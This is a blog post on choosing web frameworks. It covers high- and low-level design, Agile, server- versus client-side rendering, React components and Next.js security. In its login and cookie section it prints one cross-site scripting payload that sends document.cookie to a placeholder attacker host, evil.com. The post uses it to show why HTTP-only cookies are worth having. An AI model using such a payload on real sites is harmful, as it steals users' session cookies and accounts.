May 18, 2026
·13 minutes
Part Two - Choosing the Right Framework
On this page
In Part One we explored how the server can be utilised to optimise websites and systems, and that the client has an important role in enhancing this. But to actually implement strong design choices, we need to choose the right framework for our project. We live in a time of overwhelming options, and what doesn't help is that many people share their opinion on why one tool or approach is better than all the other options. Choosing one straight path forward doesn't scale. We need to analyse the costs and benefits of the tech we choose, and the approaches that need to be considered. As an example, building an application to be server-side rendered is beneficial in a load of ways that client-side rendering just can't do. Beyond just the rendering model, we have to focus on optimisation, system architecture, and design methodologies.
System design is of course much too broad to cover in one post. We will hone in on just website architecture here, and the framework choices that shape it. Not how websites look, that's for another post (keep an eye out for that one). How it is actually built. We will look at the broader perspective, the architecture itself while weaving in the intricate bits like programming languages, optimisation and security practices.
High-level vs Low-level Design
System design is typically divided into two main parts. High-level Design (HLD) is the big picture. This is where we define the system components, technology, and interactions with a focus on scalability. For example, let's say we are building a revolutionary, cutting-edge AI service (in other words, just an AI wrapper). At this stage we may choose Python for our backend language, and design how the main components will interact with each other. In a nutshell, this is where we choose what our system will look like. Will it be split into many smaller services (Microservices), or one larger service with everything in a single place (Monolith)? Imagine that we are building a house. You can't just get to work, you need plans. We need to take into account things like environment and cost. Which direction are the windows going to face to let in the most light? Are the gutters going to be positioned in a good spot to handle rain? HLD is when we look at the project as a whole, this way we can see exactly what needs to be optimised, and what parts the confounding variables are going to impact the most.
Low-level Design is the guts of how the system works. In our house analogy, this is where we add the cabling, the plumbing, and get all our utilities connected. Much more intricate, most software developers spend their time here. The UI must be able to interact with the API effectively, so here we would be finding the best way of coding all of this up. This level is based on the architecture of the HLD, everything made here has to follow the structure of what it is contained within.
It can be easy to get caught up in either of these design stages. Because they both interact with each other, it is unlikely that you'd get it perfect the first time. It is crucial to plan, but focus too much on the structure as a whole, and you miss out on the fine details which make or break your application.
Agile development
Instead of rigid planning, an interesting approach to building a high-performing software system is called Agile development. The core principles of this design methodology involve working flexibly and iteratively. Teams work on smaller batches of a larger project, called sprints, to prioritise the things that matter most, like collaboration, customer feedback and quick delivery. This way, they reduce feeling overwhelmed, and can adapt to new requirements quickly. There are four key values to agile development:
- Individuals and interactions over processes and tools
- Customer collaboration over contract negotiation
- Responding to change over following a structured plan
- Prototyping/working solutions over comprehensive documentation
That's not to say that you shouldn't create a plan or comprehensive documentation. But they create better results when built alongside the core values. For example, "responding to change" keeps the application dynamic, moving and adaptable for when issues arise. New variables may come to light, which couldn't have been covered in a plan. It isn't a good idea to lock yourself behind one approach when dealing with something, flexibility is key.
Hybrid rendering
Part One covered the differences between Server-side rendering and Client-side rendering. We only glossed over the applications of both, saving the detail for this section. When designing the frontend of the system, it must be accessible, fast and secure. It's not always possible to get all three equally to the max without affecting another part of the system. Weighing tradeoffs is what takes you from a decent system designer to a valuable one. Making informed decisions is a skill that is only going to get more important, especially with the current drive of companies to implement AI as much as possible. Stay tuned for a post coming soon about the current state of AI.
But back to the rendering options. A typical rule of thumb for server vs client-side rendering is this - the server is safer, the client is faster. This is pretty general, but I'll explain what I mean. When dealing with data that has potential security concerns if mishandled, SSR is the safer bet. So if you are handling login data, data fetching, payment processing etc., the server is almost always the right choice. This is because the server application's logic is never exposed to the client, which means they can't manipulate it in any way. When using CSR, the application's logic is exposed to the client. And with some reverse engineering, users will find a way to create security issues.
The best bet is to, again, assess your project's specific needs. Know which parts are going to be handling sensitive information. In 2026, an ideal option is a hybrid system. Modern frameworks have all the functionality ready to be harnessed. Functionalities like caching, JWT authentication, middleware and so on. Everything you need to build an accessible, fast and secure application.
React
A precursor to these modern, hybrid frameworks is React. Websites respond to user input through JavaScript, the main programming language for web applications. HTML structures the website, CSS makes it look pretty, and JavaScript makes the website do cool things. But a website's logic can get complicated quickly. That's what React is for, it is a JavaScript framework that handles all the complex stuff already, so that you don't have to worry about making it yourself. What's cool about React is that it offers a unique way of building web apps. Through components, snippets of the website can be written in separate files, allowing them to be reused if needed while keeping the app organised.
Lets say we need a few buttons across the website that do the same thing when clicked. Instead of writing:
<script>
function handleSubmit() {
return "Submitted"
}
</script>
<button onclick="handleSubmit()">
Submit
</button>We can write:
export default function SubmitButton() {
const handleSubmit = () => {
return "Submitted"
}
return (
<button onClick={handleSubmit}>
Submit
</button>
)
}Now, we don't have to write out the same button over and over. We can just use that Button component any time we need that same functionality.
<SubmitButton />That all probably seems confusing. But what's important is that we have organised the code to be modular, letting us reuse it in the future. That's only a simple example, I don't want to overwhelm you with code that makes this article too technical. But imagine you are writing notes, and you keep definitions separate. So when the term pops up again, you can just go back to where you defined it. You will most likely need to come back to it to refresh your memory, or add new info to it in the future, so it saves you headache of remembering where you kept it. Same sort of thing here. We define parts that we reuse, so that we don't need to repeat ourselves.
What also makes React so useful is JSX, a file format that lets you run HTML within JavaScript, by extending the JavaScript syntax. This may not seem like it, but this is huge for making websites that react to user input. Using our <SubmitButton /> example, once the button is clicked and the handleSubmit function does something, we can use that result within the HTML that we kept in the component.
import { useState } from 'react'
export default function SubmitButton() {
const [isSubmitted, setSubmitted] = useState(false)
const handleSubmit = () => {
setSubmitted(true)
}
return (
<button onClick={handleSubmit}>
{isSubmitted ? "Submitted" : "Not Submitted"}
</button>
)
}We modified the function so that it changes the state of isSubmitted. Essentially what we are doing is modifying the HTML directly when JavaScript has decided to update the state - so, when we click the button. Again, this might not make much sense to read. This component basically lets us reuse a button that says "Submitted" when clicked.
Why reinvent the wheel when you can just use a JavaScript framework? Well a core issue with React is that it is client-side rendered. For dynamic pages with content that updates often, React or a similar CSR framework is a no-brainer. For things like Search-Engine Optimisation (SEO) however, CSR makes it a bit more difficult for crawlers to find your website. This makes it less of a strong choice for marketing sites, or blog pages. That's not to say CSR is weak for SEO, just that there are certain use cases for it and isn't the silver bullet. But what if there was a way to keep the simplicity and organisation utilities of React, while having an option for managing sensitive data and SEO/Performance issues?
Next.js
Next.js is a full-stack framework, built on top of React. It keeps all the utilities that React has, while expanding to the server. Just like components in React, called Client Components, Next.js also features Server Components. Same structure, but now both types of components have limited options, like security limitations in Client components, or state management limitations in Server components. An important distinction is that Next.js is SSR-first, meaning that by default, websites built using it are server-rendered with options of making parts CSR. Having the flexibility of choosing which parts of the web app are optimised for search-engines and fast to load or dynamic and client-loaded makes for much better systems. Besides the usual SEO, performance and dynamic data handling criteria that we have talked about, I will focus on security practices here.
Everything that we have discussed to compare SSR and CSR are topics, with utilities provided by these frameworks. We must be able to put them together ourselves. Next.js is "secure by default", but does not include comprehensive security features. Responsibility falls on us, and the core principles behind modern security practices is something that we must be able to implement ourselves - the frameworks just make it easier for us. Frameworks are a bit like Hello Fresh, all the ingredients are delivered for convenience, but we must still put them together and cook it ourselves.
Let's go into the theory of building a log-in system in a website in Next.js. We'll say that the UI is all made already, and the API on our separate server is all set up. All we have to do is connect the UI to the API. Sounds simple enough, but this is sensitive data that we are handling here so we need to do it right. The user clicks the log in page, and enters their details. When clicking "submit", what happens next is where SSR or CSR kicks in. In a client component, JavaScript notices the click event via an onClick handler, and makes a request directly from the client to the API with the log-in data. Here we would update some local state to show that our server is processing the request, and once the API responds, React re-renders the component based on the result. If the info is correct, it logs you in. Now in a server component, the request is sent to our Next.js server (not our API directly). In here, the request is forwarded to the API, and then handles the repsonse. At this point, we can create an HTTP-only "cookie" to save our log-in data, so the user doesn't have to keep logging in. In our Next.js server, the cookie cannot be touched by JavaScript, but CSR can't create HTTP-only cookies, meaning that they are stored in the browser, and therefore readable. HTTP-only cookies protect users from vulnerabilities like Cross-Site Scripting (XSS) attacks.
When you log in to a page, a cookie is created. If the cookie is created in a Client component, it is readable by the browser - this means that code can access the cookie. If your site has a client-rendered input field, like a public comment section, then an attacker can input malicious code as a comment -
<script>fetch("https://evil.com?c=" + document.cookie)</script>Then when any other user opens up the comment section, their browser automatically runs the script (this is how clients render content) and sends their log-in cookie to the attacker. If cookies are HTTP-only, then they are not readable by the client. If they are not readable, then they can't even be sent if this sort of script ran.
Next.js opens up ways for us to secure our web apps. It is still down to us to know common security protocols, and minimise ways for attackers to harm our systems. Knowing when to implement server components or client components by weighing pros and cons of each is a skill. To reiterate what I said earlier as a rule of thumb, for SSR vs CSR, the server is safer, the client is faster.
Connecting to a backend
Regardless of what framework you decide to go with, it doesn't replace the backend. Next.js has some server utility to get the ball rolling, because it creates its own server runtime. So when we spoke about server components earlier, this is where they get handled. This mini server is how we contact our main server, and for most applications handling real data or user accounts, we will need a main one. Though for a lot of simple websites, you may not need a backend. Like this website for example, I didn't need a dedicated backend because Next.js handles the essentials. If I stored data, or let users log in to my blog to comment or like etc., then I'd definitely need a backend.
TL;DR
Choosing the right framework comes down to understanding your project's needs rather than following trends or opinions. Good system design means looking at the big picture first - your architecture, methodology and rendering approach - before getting into the details. React gave us a powerful way to build dynamic, component-based web apps, and Next.js built on that by bringing the server back into the picture, giving us the flexibility to choose where each part of the app runs. The server is safer, the client is faster - know which parts of your app need which, and you'll be in good shape. And whatever framework you pick, remember it's not a replacement for a backend.